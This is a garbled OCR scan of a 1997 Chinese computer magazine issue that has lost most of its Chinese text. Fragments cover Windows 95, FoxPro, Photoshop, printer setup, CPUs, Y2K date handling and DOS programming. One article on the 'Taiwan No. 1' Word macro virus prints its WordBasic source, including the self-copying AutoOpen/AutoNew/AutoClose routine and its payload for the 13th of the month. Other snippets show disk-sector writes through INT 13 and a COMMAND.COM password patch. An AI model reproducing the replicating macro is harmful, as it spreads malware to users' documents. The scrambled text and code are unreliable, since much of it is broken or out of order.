WINDOWS95
—OK
WINDOWS 3.2 WIN-
DOWS95
WINDOWS 95
386SWAP
50MB DOS 6. 22
WINDOWS 95
WINDOWS 3. 2
WINDOWS 95 WIN-
DOWS95 WINDOWS95
WINDOWS 95
" « . « WINDOWS
05 .
CMOS WPS
QIOUBOJUN BIOS
« " “ DEBUG”
BIOS
AMI AWARD
BIOS — AMI" “ AWARD"
AWARD  BIOS
“ H996" ** Syzx”
3DS4  2DSHAPER DXF
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SHAPE /CHECK
BOOLEN

SAMSUNG “ The

driver not ready” “ CD read error 101"

Norton SystemInfo

PCTOOLS

MI

DMA IRQ 1/0

COMPAQ486DX2 /66
CPQCM. SYS CPQ PLUG AND PLAY
WINDOWS
SETUP
F10 CMOS
SETUP. EXE

WINDOWS
WINDOWS

REGISTRY. CPQ
386SPART. PAR

DIR/A
REGISTRY. CPQ
386SPART. PAR

SETUP REGISTRY. CPQ
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WIN. INI [DBCSFonts]
* AssocSystemFonts =" “ TT,,
SIMSUN. FOT”
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(2) PIF “ "
TC. PIF PIF
(3) “ " “
" “ » « DOS "
( )
(4) “ DOS "
" Turbo C 2.0; “ "
C: \ Turboc2\ TC. PIF( C: \ Turboc2\
TC.EXE) * " C: \Turboc2
(wn ke
WIN95 Fi& 47 DOS & A %2 5
WINO95 DOS
WINO5 DOS VM( )
DOS VM
WINO5 32
PNP
WIN95 620KB
WINO95
WINO5
WINO95
DOS
DOS WINO5 DOS
7.0 WINO5
DOS
“ MS -DOS WINDOWS (P)”
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WINDOWS
MS -DOS " DOS
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Win95
“ " Win95 DOS 7.0
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SETUP. INF
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386 486 486DX2/66( 1M Windows 256
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Windows GDI
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FoxBASE
FoxPro2. 5b for DOS
WINDOWS FoxBASE
FoxPro
FoxPro 2. System File Edit
2. FoxBASE
FoxBASE FoxPro FoxBASE
DIR FoxBASE
FoxBASE FoxPro 3.
FoxPro
3.
FoxPro FoxPro
PASCAL C 4.
FoxPro
FoxPro
FoxPro 5.
(TR Kdbh) “ " “

; E %- T—— — E ™ %: "

D1 3] B =2
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1.
FoxBASE
FoxPro
FoxPro “
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2.
FoxPro

3.
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1. FoxPro
dBASE FoxBASE FoxPro
FoxBASE
FoxPro
. 2. FoxPro
FoxPro FoxPro
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2. QZCD
QZCD. EXE
?
1. FAKECD qzed o\
qzed c: \tools
FAKECD CDROM C TOOLS
cdx /L
C TOOLS
cdx c: \redalert /1:d n
C REDALERT
D dir d: qzed!
D C
REDALERT
REDALERT
cdx/u -
3. FoxPro A\l 4 * " B
FoxPro FoxBASE I TSN Az
1. FoxPro
4. FoxBASE “ "
FoxPro 2. FoxPrd "
(ki #E) FoxPro COMMAND FoxBASE
1 CREATE
2 USE
MODI COMM
FoxPro FoxBASE
3. FoxPRO
!
1
!
2
!
’ 3 SQL
4 RUSHMORE
5
FoxBASE
FoxPro FoxPro
. . (dw Ftag)
(5@ H
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Win95

Shortcut

Alt + Tab
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UNDO
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WINDOWS
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SETUP. EXE
MACROMEDIA
DIRECTOR 4. 0 README

DIRECTOR 4. 0
DIRECTOR
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SMB 20 ~30MB
DIRECTOR
BMP DIB WMF PCX TIF GIF PNT
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AIF WAV
AVI MOV
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PAL
DIRECTOR DIR
— B @ o H A
Director
1. (Frame by

Frame Animation)

(Frame by Frame)

2. (Real Time Recording)

Director
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3. (Key Frame Anima-
tion)

" (Key
“ In Be-

“ In Between’
Frame)

tween”
4. (Auto Animation)
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(Text Effects)
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(Credits)

(Zoom Text)
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Director
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(Lingo Script)
Lingo Script  Director
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Director  Score Window
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sk
55 /é * RGB 300DPI
*
PHOTOSHOP * #4 #5
¢ <Cul> + <D> Select—None
PHOTOSHOP
PHOTOSHOP4. 0 FOR WINDOWS95 * #5 Filter—Blur—Gaussian
3.0 Blur 3
3.0
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* RGB Select—Load Selection
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& Edit—Fill 8%
V'S PHOTOSHOP * Select—Load Selection #4
&  File>New RGB
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* —
. ﬁ ~4-7£ 17 P
313 F:,’f 3 A e A
L 4 Select—Save Selection #4. #5
* #5 Filter—Blur—Gaussian Blur 4
1.3
1
* RGB Select—Load Selection (# « "
5) @ File—Open 5
* .
* Select—Load Selection #4 . Select— Feather 4 pix
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* File—New
* Edit—Paste 6

*
5 6 * Select—Save selection #4. #5
L 4 #5 Filter— Blur— Gaussian
Blur
* Edit—Undo( ) * Filter—Stylize—Wind 2-3
1.4 11
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(Event Driver Programming)

EDP Windows
( )
CPU
(
) (Event)
Visal Basic Visal C+ + FoxPro Access
( FoxPro
)

set talk off

do whil . t.

Clear

@ 2, 13say "1 "

@ 3, 13say”" 2 "
@ 4, 13say” 3 "
@ 5, 13 say "4 "
Wait "

Do case

case k=1

* Do programl
case k=2

Computer Fan 1997 .9.

* Do program2
case k=3

* Do program3
case k =4

exit

endc

endd

return

set talk off

defi wind nn;

at 18, 9 size 3, 60;
color scheme 8;

titl " "
acti wind nn

@1, 4 get xz func;
"%hn \ <1 D\ <2
size 1, 12, 1;

defa 1;

vali xz1()

read cycle

clea all

func xz1

do case

case xz =1

* Do program1
case Xz =2

* DO program2
case xz=3

* DO program3
case xz =4

close all

clear read

endc

acti wind nn

show gets

return O

;A\ <3

2\ <4
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? Windows3.1  Windows95
“ HP DeskJet Configuration”
LPT1 / ( “ " )
1 f
a.
1
b. (Win3. 1)
DJ200 V7.1 hpwenfig. exe  C: \windows \system
PC DJ600/660C V7.1 hpwenfig. exe  C: \windows \system
DJ660C /690C V9.5 hpfcfg05. exe  C: \windows
DJ870C Vo.5 hpfcfg03. exe  C: \windows
a. Win95 c: \windows \system
b.
c. John Vaught——
DOS (
C\ DIR> LPT1 )
d.
IEEE - 1284 1979
IEEE - 1284
C2950A  C2951A IEEE -1284
DeskJet540 600 800 DesklJet 1600C
DesklJet 500 ( HP
DeskJet540) ?
(Self Test)
[ 2
2
DJ200/DJ400
DeskJet/DeskJet plus/ “ FONT” “ RESET”
DJ500/500C /550C
DJ525Q 5
DJ600/660C/670C /690C “ " “ "
DJ850C /870C " "
DJ1200C& DJ1200C /PS * Shift” “ Test”
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4
» « » ©
1. Access denied 13. Invalid parameter
2. All files in directory will be deleted: Are you sure (Y /N)? 14. No room for system on destination disk
Y

N 15. Non — System disk or disk error
3. Bad command or filename
4. Bad or missing command interpreter 16. Not ready error reading drive A
5. Batch file missing 17. Not ready error reading drive A
6. Disk boot failure
7. Divide overflow
8. Drive not ready 18. Write protect error writing drive A
9. File not found Abort, Retry, Fail?
10. Incorrect DOS Version DOS A
11. Insufficient disk space - .
12. Invalid drive or file name (%4 HEE
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AT ATX
ATX ATX AT
ATX
ATX
ATX
ATX
ATX ATX AT
586 TURBO
TURBO
STANDBY RESET
AT
P8 P9
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ATX
ATX CPU
Modem
ATX
20 ATX
ATX 230W
CPU
Mo- Intel CPU
Intel CPU Intel CPU
CPU CPU
AT
CPU
ATX
AT
CPU
Intel MMX CPU
Cyrix CPU
Intel CPU
Cyrix CPU
CPU XXX +
CPU Cyrix 6x86 —PR166 + 166 +
166MHz  CPU 133MHz  CPU 166 +
Cyrix CPU
Intel 166MHz 6x86 CPU
6386 CPU Cyrix 586
CPU Cyrix  IBM CPU
IBM Cyrix CPU
Cyrix 6X86L CPU  6X86
2.8V 6X86
CPU M2 MX
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AMD K5
5 K6
CPU K6 586 686
CPU K6/PR2 -233 3.2V
K6 CPU 2.9V
168 72 168
SDRAM 64 586 168
72 SDRAM
CPU
EDO 10% 168
72
X SDRAM HX
VX SDRAM
3 5 3 5
3 5
3
3
TEAC
SONY NEC
100MB Zip
1. 6GB 1GB
Jaz
3 5 5
3 4. 3GB
3.2GB 3 3
4500 / 5400
/ Maxtor
Quantum Seagate 3XxXx
Maxtor
S5XXXX 1GB
MMX CPU Intel TX
. 38.

VX HX
30% SDRAM
512KB Cache Intel
MMX Cyrix M2  AMD K6 CPU ATX
TX AT ATX ,
ATX CPU
ATX CPU
CPU AT PCI
ATX PCI  ATX
AT
ATX ATX AT
ATX AT
168 TX =97
168 72
CPU CPU
CPU K6 - 166 CPU
233MHz CPU
CPU
586ATX
1. 120MB ATAPI
2. INT13 8.4GB
IDE
3.CPU
4. CPU ACOPS
5. CPU
6. PnP
7. BIOS
8. Moden Ring On
9. CPU
10. CPU
11. CPU
12. CPU
13. CPU

Intel 90OMHz ~ 200MHz
Intel MMX 150MHz ~ 233MHz
AMD K5 133MHz 166MHz
AMD K6 166MHz ~ 233MHz
Cyrix/IBM 6x86 120MHz — PR150 + 133MHz - PR166 +
Cyrix/IBM 6x86L —PR150 + —PR166 +
Cyrix/IBM M2 166MHz ~ 233MHz
14. BIOS A C D E F CDROM
SCSI (F4)
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IDE

IDE
CDROM IDE
AT
AT
CDROM BIOS
WINO95 ?

MAS-
TER95SE/LITE
WIN95

TER95SE /LITE
WINO5
A SETUP
10 IRQ DMA
10
IRQ DMA( )

“ MPEG
MASTER95SE /LITE PLAYER”
CDROM PLAY

“ MSDOS " WIN95
WINMPEG. INI
MPEG TYPE

[WINMPEG |

PATH = C: \VISMPEG \WINDOWS MPEG
IOBASEA =0* 2C0 10

IOBASEV =0* 2D0 10

VINT =12

AINT =12

DMA =6

TV =NTSC TV

VOL =4

BIOS
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10
IRQ DMA

10 02C0

m 02DF (WINMPEG 10
02C0  02CF 10
73 02D0  02DF 02C0

'=|: 02DF)
l_ 3.  DMA DMA
I=

IRQ DMA

[0
PEG
H ‘I 5. CONFIG AUTOEXEC
[CONFIG. SYS]
Device = himem. sys

Device = cdmke. sys /d: mved001

[AUTOEXEC. BAT]
Prompt $p$g

C: \win95 \command \mscdex. exe /d: mved001
6.

7. \ \ \
\CDROM \MKEPANASONIC. CDROM
\ \ Original Configu-

ration ( ) (
WIN95 CDFS)
CDFS CDFS
CD Original Configura-
tion
8. “ MPEG MASTER95SE/LITE PLAYER”
CDROM PLAY
VCD ©
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LG, 5. Windows, Video Blaster RT300
RT3 00 m ﬁ *E _F Hg Baseport Address 0x3eo, Interrape Ad-
X - " dress 11 OK
§ % 5 i}ﬁ iit 6. Adobe Premiere Le File
Movie Capture 1/4
L]
RT300 Greative 1. CMOS TRQ( IRQ
Intel 750 1/4 11) Enabled, Premiere Le
586/100 2. 1IRQ 1/
1. RT300 1/0 O Video Blaster RT300
2. WINDOWS RT300 CMOS
SETUP. EXE Video Blaster RT300 WINDOWS "
3. Premiere IRQ
Premiere4. 0 Driver, ISP16 Audio DeviceDrimer SETUP
4. IRQ 11 CMOS IRQ
IRQ11 I/0 3EOH Enabled WIN ©
AMD 5x86 CPU
8MB 540MB ALS007
WIN3. 2 DOS WI N95
WINS. 2
WIN95
ALS007 16 O O 7
WIN9S
u " TEM. INI SYSTEM. OLD
WINO5 SYSTEM. INI
WINO5 “ n WIN95
“ NO” ‘ /
WIN3. 2 ‘ "
WIN3.2  SYSTEM. INI Il R
44
[386Enh ] ALS007
DEVICE  ALMPUA0L. 386 120MHz ALD5433 8MB ALS007
[drivers] Win95
MIDI = ALOPL. DRV “ noou ”
MIDI1 = ALMPU401. DRV “ » « ”
WAVE = ALSNDSYS. DRV
AUX = ALSNDYSYS. DRV = ISA '
MIXER = ALSNDSYS. DRV Win95 “ ALS007
WIN95 SYSTEM. INI » Win95
586
WIN9S SYS- (r& %)

. 40.
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Word /2N

=
T

(]
“ " Word normal. old)
2. Word Taiwan No. 1
(1) Taiwan No. 1
/7 / (
* . doc normal. dot)  Auto
( AutoOpen AutoNew AutoClose)
(2) /
Word (3) /
(Normal. dot) ( (4) /
) Word (. doc) (G
(Normal. dot) Word “ "
)
FTP
Taiwan NO. 1 Taiwan Theatre {1}{2} ftp. thu. edu. tw/ Anti — Virus/ Super scanner
DiaoYu Tai Atlanta $s961108. exe
Guess {1} {1} Guess{2}
{2} Teacher Document ( )
Macro Virus(DMV) Concept. A $s961108. exe

Concept. D Colors. A Xenixos Tedious Nuclear. A

Win95
Word sscan (
(Taiwan No. 1)
( )
winword
Win95 Ctrl + Alt + Del word)
Winword
Win95 Y( 5
“ 7 Win3. 1
Winword
Winword sscan
) Win3. 1
1. normal. dot Taiwan No. 1
word7. 0

MSOFFICE\ TEMPLATE normal. dot(
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sscan. exe
/
sscan. exe
$s961108. exe

c: \temp \ sscan)

c: \temp

( c:\
c: \temp \sscan c: \ win-

sscan

Skip All )

Word

DOS

word
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X

.......... "+ Chr$(13) + \tog$,”

( )

Dim Shared nm (4)

Sub MAIN

DisableInput 1

If Day (Now()) =13 Then

try

On Error Goto 0

On Error Goto try

test= —1

con=1

tog$ =

i=0

While test = —1

Fori=0 To 4

nm (i) =Int(Rnd () * 10000)

con=(con*nm(i))

If i =4 Then

tog$ =tog$ + Str$ (nm(4)) +"=?"

Goto beg

End if

tog$ =tog$ + Str$ (nm(i)) +"*"

Next i

beg

Beep

ans$ = InputBox$ (”
"+Chr$ (13)+\"

"

"+ Date$ () +",

NO. 1 Macro Vinus”)
If RTrim$ (LTrim$ (ans$)) = LTrim$ (Str$ (con) ) Then
MsgBox”

"
TN

" NO. 1 Macro Virus”

FileNewDefault

CenterPara

FormatFont. Font = " . Points=16, .Bold=1,

. Underline =1

Beep
Insert”
InsertPara
Beep
Insert”
Italic 1
Insert”
InsertPara
InsertPara
Italic 0

FormatFont. Font =" ", . Points =16, . Bold =1,

Underline =1

Beep
Insert”
InsertPara
Beep
Insert” "
Ttalic 1

Insert”

Goto exit

Else

Forj =1 To 20
Beep
FileNewDefault
Next j
CenterPara

.42

FormatFont. Font =" ", .Points=16, .Bold=1,

. Underline =1

Insert” "

Goto try

End If

Wend

End If

nor = CountMacros (0)

If nor> 0 Then

For kk =1 To nor

If MacroName$ (kk, 0) ="AutoOpen”Then
t=1

End If

Next kk

End If

file$ = FileName$ ()

filem$ = file$ +": AutoOpen”
Ift <> 1 Then

MacroCopy filem$, "AutoOpen”
MacroCopy filem$, "AutoNew”
MacroCopy filem$, "AutoClose”
End If

nor 1 = CountMacros (1)

If nor 1> 0 Then

For kkk =1 To nor 1

If MacroName$ (kkk, 1) ="AutoOpen” Then
tt=1

End If

Next kkk

End If

If tt <> 1 Then

FileSaveAs. Format = 1
MacroCopy”AutoOpen”, Filem$

End If
exit:
End Sub
big -5 GB
13
word
( )
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H EDIT 8% DEBUG

]
DEBUG A
EDIT DOS
1.
A 100
RCX (
) N
( .COM) W
100 Q
EDIT INT 13H
A 2
0 1

EXAMPLE. ASM

A 100 DEBUG
MOV AX, 0201

MOV BX, 0121

MOV CX, 0001

MOV DX, 0080

INT 13 ;

MOV AX, 0301

MOV CX, 0201

MOV DX, 0000

INT 13 ; A
INT 3

PLE. COM
3.
C Ekxample
4.
DEBUG &'
24H)

C DEBUG
-L100 0 24
-D100

DEBUG

©

BAT2COM. EXE

C SYSTEM()
DOS SYSTEM{ DOS

")

TC (
CLSDIR. C)
main ()

{
system{ cls”)
system{ dir”)

}

Computer Fan 1997 .9.

IES
MAEX RS

O

Ctrl + F9 .EXE
Alt+X TC DOS
CLSDIR “ "

Cyrix 5x86 TC2. 0

©



=l

UCDOS t DOS XD. EXE
‘ XD. FFF (
) EXE )
g XD. FFF XD. EXE XD. EXE
XD. EXE XD. FFF
0 l’f‘
WIN- x—‘
DOWS * " PCX _-::‘J FoxBASE dBASE
PCX2EXE RUN REN XD. FFF XD. EXE
CX EXE RUN XD. EXE
P Py RUN REN XD. EXE XD. FFF
a N QB TB
EXE - SHELL "REN XD. FFF XD. EXE"
° " ”
XD. PCX i r. SHELL "XD. EXE
Iy ‘ SHELL "REN XD. EXE XD. FFF”
XD. EXE BASIC SHELL C
FoxBASE ~ RUN C lu‘\ system ("ren xd. fff xd. exe”);
system XD. ] h- system ("xd. exe");
EXE ‘I n system ("ren xd. exe xd. fff");
486/66 AMB
540MB ©
XD. EXE
) ® < T <+ }1:-‘- L
35 1) R o5F £
L]
WINDOWS assign (bkf, 'c: \windows \win. ini");
rename (bkf, ‘c: \windows \wini. txt");
reset (bkf);
assign (winf, "c: \windows \win. ini");
rewrite (winf);
? while not eof (bkf) do
begin
WIN. INI readln (bkf, s);
“ n if (copy(s, 1,9) ='Wallpaper’)then
WIN. INI TURBO begin ‘
PASCAL randomize;
i: =random (bmpnum);
prograrTl wdos; s: ='Wallpaper =’ + bmpname[i];
uses wincrt; end:
const { } writeln (winf, s);
bmpnum = 5; end:
bmpname: array [0. . 4]of string[12] = eras’e(bkf)'
("wfb4. bmp’, "leaves. bmp’, "wfb3. bmp’, 'cars. bmp’, ’ close(winf;

256color. bmp’);
var

winf, bkf: text;

i: integer;

s: string;
begin

. 46.

end.
TURBO PASCAL FOR WINDOWS
TURBO PASCAL FOR DOS
USES WINCRT USES CRT @
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Y

B3R Fox &R %D 2000 IO R

O

“ 2000 ! ! ?
1900
2000 “ 2000 7
PC /

) “ 2000

Fox
2000

— Fox 43 %2 0 A & iA17

FOX 8
“ ) 2 ) 2 )
@ ) ‘197
Fox
6 )
2000
FOX

set date to american| mm/dd/yy | 01/01/96

set date to ansi yy. mm.dd | 96.01.01

set date to MDY mm/dd/yy | 01/01/96

set date to YMD yy/mm/dd | 96/01/01

set date to DMY dd/mm/yy | 01/01/96

set century on mm/dd/yyyy | 01/01/2001
set date to american|

set century on yyyy. mm. dd 2000. 01. 01
set date to ansi

set century on mm/dd/yyyy 01/01/2002
set date to MDY

":\ﬂ)ﬂ

2000 SET CENTURY
ON

set cent on

set date ansi

set print on

*

?"2001/01/01 =1999/01/01 ="

??ctod ("2001/01/01") —ctod("1999/01/01")
2"2001/01/01 =2000/01/01 ="
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2?ctod ("2001/01/01") — ctod ("2000/01/01")

?"2002/01/01 =2001/01/01 ="

?72ctod ("2002/01/01") —ctod ("2001/01/01")

*

" 2001/01/01 =1999/01/01 ="

27year (ctod ("2001/01/01")) — year (ctod ("1999,/01,/01") )

*

" 2001/01/01 =1999/01/01 ="

?? (year(ctod("2001/01/01")) —year(ctod("1999/01/01")))
* 12 + month (ctod ("2000/01/01")) — month(ctod ("1999/01/
01"))

2" 2003/12/01 —2000/01/01 ="

27 (year(ctod (2003 /12/01")) — year(ctod ("2000/01/01")))
* 12 + month(ctod("2003/01/01") ) — month (ctod ("2000/01/
01"))

set print off

2001/01/01 =1999/01/01 = 731
2001/01/01 —=2000/01/01 = 366 <« 366
2002/01/01 -=2001/01/01 = 365 <2000

2001/01/01 =1999/01/01 = 2 <«
2001/01/01 =1999/01/01 = 24 <
2003/12/01 =2000/01/01 = 36 <2000

MO ON N NN N N

S & & & & & & & & &

T W W W W W W ® W oo

OO A T -

©S © o o o © © © © o o

= = = = = = = = = —

> 9 ® N U s W R o= O

= © & o & & &5 &5 o o 3
WM ow W w o o &

¥ 232 EE 588 8
w w w w w O) (=3 = (== oA

T E R 3 3 sk 3 E S 2 T
Now W oW w o w

S & a = & ¥ s & 2 = §<>
W ow W ow IS

K TS ES 28 L8 2
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> S A = = © B 2 8 8 §
w o ow W N ow L =

g 3 &3 & 388 8 8
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4 IDEEEE QUICK BASIC A

0
ROM
CMOS ROM ROM
(
ROM 100H )
DEF SEG = & HF000
FOR i = & HE000 TO & HEOFF
n = n + PEEK(i)
NEXT i
PRINT "n="; n
DEF SEG
N ROM
CMOS ROM CMOS
RAM OEH 3IH CMOS
FOR i = & HE TO & H31
OUT & H70, i
n =n + INP(& H71)
NEXT i
PRINT '"n="; n
N CMOS
PSP
PSP Program Segment Prefix s
“ » DOS
PSP PSP
PSP
16H PSP
DOS
COMMAND. COM
PSP

DEBUG
DEBUG DE-

. 48.

BUG COMMAN. COM
21H 62
PSP 16H PSP
PSP PSP
PSP 2CH ~ 2DH
SET
0 0001

"$INCLUDE: ’qb. bi’
CLS
DIM SHARED inregs AS RegTypeX
DIM SHARED outregs AS RegTypeX
inregs. ax = & H6200 'AH=62 H-L
CALL INTERRUPTX (& H21, inregs, outregs) '
PRINT "PSP . ", HEXS$ (outregs. bx) !
PSP
DEF SEG = outregs. bx ! PSP
a$ = HEX$(PEEK(& H2C)): b$ = HEX$(PEEK(& H2D))
IF LEN(a$) = 1 THEN a$ = "0" + a$
PRINT " : ", b$ + a$ !
DEF SEG = VAL("& H” + b$ + a$) !
i= -1
LOCATE 5, 1
DO !
i=1i+1
IF PEEK (i) = 0 THEN PRINT
PRINT CHRS$ (PEEK (i) );
LOOP UNTIL PEEK(i) = 0 AND PEEK(i + 1) =1
PRINT : PRINT !
i=1i+2
DO
i=1i+1
PRINT CHR$(PEEK(i));
LOOP UNTIL PEEK(i) = 0
DEF SEG = outregs. bx ! PSP
a$ = HEXS$(PEEK(& H16)) " PSP
b$ = HEX$(PEEK (& H17))
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5=
ip

7 e | #include <stdio. h>
I’j‘. void main (void)
D { char word1[] ="\n

1,
Hﬂ puts(wordl);
hi }

SHOWI1. EXE
el ’
— , PCTOOLS
= , SHOWI. EXE
JE=\ P b .
!
SHOW2. C

R word2

#include <stdio. h>
void show_mw (char * mw)
{ int i, ch[2], one = 0x4C;
for (i=0;mwl[i];i+ =3)
{ sscanf(mw +1i, "% 2X", ch);

>

>

}

void main (void)

{ char word2[] ="81 FD FF FC 08 DI 24 FC 19 E9 OF FC 06 E2 06 12"
"84 FE F9 82 E8 E7 F8 FE CC BB B7 BF E1 82 D7 C8"
"88 83 E0 93 FC F4 86 81 B2 2A 69 80 8C 8F 8E 8E "
"F5 93 95 DA AB ED 9F 8A 60 ”;

show_mw (word2);

}

>

SHOW2. EXE !

word2

s SHOW2. C
show_mw () R !
#include <stdio. h>
void main (void)

{ int i, j, ch, one = 0x4C;
char word [256];
printf(”\n :\n");
gets(word);
printf(” \n\"");
for(i=0,j=1;word[i];i+ +,j+ +)
{ ch =one”("word[i]);
one =word[i];
printf ("% 2. 2X ", ch & O0xFF);
if(j> 20)
{i=0;
printf ("\"\n\r\" ");
}
}
printf("\";");
}
Turbo C 2.0 Borland C+ + 3.1

one =ch[0] = ~ (one”(ch[0])); ’ IBM - PC
putchar(ch[0]); DOS ©
}
IF LEN(a$) = 1 THEN a$ = "0" + a$
LOCATE 22, 1
PRINT "1: ”; b$ + a$
DEF SEG = VAL("&H” + b$ + a$) ' PSP 21H 21H
a$ = HEXS$(PEEK (& H16)) ' PSP 1
b$ = HEX$(PEEK (& H17)) 0
IF LEN(a$) = 1 THEN a$ = "0" + a$ 1
LOCATE 23, 1
PRINT "2: "; b$ + a$ 11111111 16 FF
“oprow g o1 OUT & H21 & HFF
0
QB 1 OUT &H21 2 '00000010 —> & H2
QB/L QB 2 40:
3 2 0080 — 0083
4 1
5 DEF SEG = & H40
6 POKE & H80, 0: POKE & H81, 0: POKE &

-1
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H82, 0: POKE & H83, 0
DEF SEG ©
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X

QUICK RIESSiLHESHHEEM

(]
DOS Quick
IBM PC )
D
(A/D) (D/A)
2)
3) ;
4) Windows
Quick
— .2k Quick Basic 4 A
(. model
medium ) public
(far)
push bp
mov bp, sp
pop bp
ret N
N N=2x
QuickBasic
Q
link/q XXX. OBJ Quick (*
.QLB) QuickBasic
QBLB40.LIB  QBLB45.LIB  QBXQLB. LIB
Quick Basic L
Quick (*.QLB) CALL
DOS *
.EXE
Quick Basic INT16
Home End Pgup Pgdn
. 50.

; % Quick Basic V4. x call masm V5. x *
3R R K Kk ok ok ke ko ok ke ok ke ok ok ke
DEFINT A -Z
CLS
DO
CALL scankey (keyl, key2)
IF key2 = 0 THEN
ky = keyl
ELSE
ky = key2
END IF
PRINT "Keycode ="; ky
LOOP
END
3%k Kk ke ko kR ke ke kb ok ke ok
; % Masm V5. x for Quick Basic V4. x *
Dk Rk ko ok ko ok ko ok ok ok ok ok ok
dosseg
. model medium
. stack 100h
public scankey
. code
scankey proc far
push bp
mov bp, sp
mov ah, 0
int 16h
mov di, [bp] +8
mov [di], ah
mov di, [bp] +6
mov [di], al
pop bp
ret 4 ; return to Quick Basic
scankey endp
end

= .4 Quick C & A

c (
) .model  small com-
pact medium large huge

(near) (far)

W B 4T 1997 . 9.



ROM BIOS 1AH

PROCEDURE delay
PARAMETERS shijian
SET TALK OFF
CLEA

secondl = SECONDS ()

FoxPro2. 5 second2 = second]l + shijian

DO WHILE second2> secondl
second1 = SECONDS ()

1/100 ENDD
SET TALK ON
RETU
% @
R public R ;% Masm V5. x for Quick C V1.x *
R I S S S S b R R R R ]
B b dosseg
pus bp . model medium
mov bp. sp . stack 100h
public _scankey
pop bp . code
ret _scankey proc far
QLIB Quick (* push bp
.QLB) (MASM mov bp, sp
. mov ah, 0
V5.0 ) Quick C int 16h
(QUICKLIB. OBJ) Quick C L mov di, [bp] +6
Quick (*.QLB) mov [di], ah
CALL DOS mov di, [bp] +8
mov [di], al
* .EXE
. . . pop bp
Quick C Quick Basic ret ; return to Quick C
_scankey endp
end
/% ok ok ok ok ok ok ok ok ok k kK ok ok ok / E\MQUiCkPaSCBJﬂ%I]FH
/% Quick C V1. x call masm V5.x * /
/% K ok ko ok ko ko ko ok ko %k / (. model
inta,b,v[1]; . . large) public
extern scankey (int * ,int *); .
main () (far) Quick
{ Basic
scankey (& a, & b); Quick
if(b==0)
v[l] =a;
else Quick
VL =b: POKE  PEEK
printf ("Keycode =% d\n”,v[1]);
getch();
} @

SRR Rk ok ok ok ok k ok ok ke
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fEcX

COMMAND HMigiino=

O
BIOS , BIOS XXXX:FE5D MOV  AH,09 ;
. Award Award  Syxz, AMI XXXX:FES5F MOV DX, FE67
XXXX:FE62 INT 21
AMI ’ DEBUG DOS  COM- XXXX:FE64 JMP  FE7C
MAND. COM XXXX:FE67 DB 'Input user password: $’
) . XXXX:FE7C MOV  AH, 07 :
XXXX:FE7E INT 21
’ ’ XXXX:FE80 CMP  AL,4C "L
) 'Input user XXXX:FE82 JNZ FE93
password: ’ , LZL, XXXX:FE84 INT 21
CMP AL, 4C XXXX:FE86 CMP AL, 5A : "z
XXXX:FE88 INZ FE93
’ XXXX:FESA INT 21
55AA , XXXX:FE8C CMP AL, 4C : "L
) XXXX:FESE INZ FE93
XXXX:FE90 JMP  1CD0 ;
DOS6. 22 ’ DOS XXXX:FE93 MOV  AH, 09 ;
COMMAND XXXX:FE95 MOV DX, FE9C
DEBUG COMMAND. COM XXXX:FE98 INT 21
- U100 XXXX:FE9A JMP  FEBI
XXXX:0100 E95AFD MP 1CDO  ; 1CDO XXXX:FE9C DB "Your password error! $’
XXXX: 0103 66 DB 66 XXXX:FEB1 MOV  AH, 07
XXXX: 0104 EO1B LOOPNZ 0121 XXXX:FEB3 INT 21
........... XXXX:FEB5 JMP  FFFF: 0000 ;
-RCX
CX FE5D : COMMAND. COM XXXX: FEBA
! —-RCX
- A100 CX FE5D
XXXX:0100  JMP FE5D :FEBA ; FEBA
XXXX: 0103 -W
- AFE5D —-q ©
VGA red = INT(RND * 63)
ﬁﬁ- 262114 green = INT(RND * 63)
blue = INT(RND * 63)
)(] k = red MOD 16
- PALETTE 8, 0
gP F3 PALETTE k, 65536 * blue + 256 * green
+ red

SCREEN 12: KEY OFF: CLS

KEY (3) ON

ON KEY (3) GOSUB endd
RANDOMIZE TIMER

FOR workcolor = 1 TO 25000
VIEW (70, 70) - (610, 410), 8, 1

"

.52,

VIEW (50, 50) — (590, 390), I, 4 "workcolor, 4
LOCATE 12, 26: COLOR 15: PRINT "

LOCATE 24, 18: COLOR 15

PRINT "red ="; red; "green ="; green; "blue =";
blue

DO WHILE INKEYS$ = "": LOOP

NEXT

endd:

VIEW (50, 50) — (590, 390), 0, 4

PALETTE 0, 65535 * 10 + 256 * 41 + 50
LOCATE 8, 18: PRINT "Your selected color is: "

LOCATE 10, 18: PRINT "Red="; red; "
green ="; green; "blue ="; blue
END @

W B 4T 1997 . 9.



Y

{t BC T'EKHIA T 64KB 5 SEU AR E

]
Borland C3. 1 C
Intel x86
64KB
C
1. 64KB
Intel x86 CPU
64KB
BC 64KB
( 64KB 8KB
) 64KB Borland C
1 huge
int huge array [ 70000L];
2 malloc
farmallco

char huge  str;
str = (char huge * )farmalloc(200000L * sizeof (char));
(char) (int)
(float double long double)

BC
BC
2. 64KB
64KB
50000
50000 * 8 =400000 (
8 )
huge * X
mid_double 8
mid_str[8]
* X
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mid_double mid -double
* X 8
* X mid_str
mid_str mid_double

#inclued <stdio. h>
#inclued <stdlib. h>
#inclued <alloc. h>
#inclued <math. h>
#define LENGTH 50000L

long i; int j;

double mid_double;

char mid_str[8];

char huge * x;

x = (char huge * )famalloc (LENGTH * 8L * (sizeof (char));

/* */
for(i=0;i <LENGTH;i+ +)
{

mid_double = 1234. 4567,
for(j=0;j <8;j+ +)
x[1*8+j] = (char)(* ((char* ) (& mid_double) +j));

}

/* */
for(i=0; i <LENGTH;i+ +)
{

for(j=0;j <8;j+ +)
mid_dtr[j] =x[j*8+j];
mid_double = * ((double * )mid_str);

}
64KB

for
movedata()

movedata (FP_SEG (& mid_double ), FP_OFF (& mid_double),
FP_SEG (& (x[i*8])), FP.OFF(& (x[i*8])), 8);

movedata (FP_SEG (& (x[i*8])), FP.OFF (& (x[i*8])),
FP_SEG (mid_str), FP_OFF (mid_str), 8);
DOS Windows
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— 2 # Windows AVI 44

AVI Audio / Video Interleaved MS -
Windows Y LAV
LIST idx1
MS - WINDOWS
“ - " VIDEO FOR WINDOWS DEVELOPMENT KIT
6 VI. 1 HELP
“ " LIST
JUNK JUNK
AVI
00000000 52 49 46 46 14 ED 10 00 41 56 49 20 4C 49 53 54 RIFFC] * (JJAVI LIST
00000010 68 01 00 00 68 64 72 6C 61 76 69 68 38 00 00 00 hJ O Chdrlaving OO
00000020 6B 04 01 00 83 77 02 00 00 00 00 00 10 00 00 00 kKOOOwOOOOOOooodd
00000030 6E 00 00 00 00 00 00 00 02 00 00 00 00 80 00 00 nOO0000000000000o0
00000040 40 01 00 00 FO 00 00 00 00 00 00 00 00 00 00 00 e JOO~O00O000000o4ad
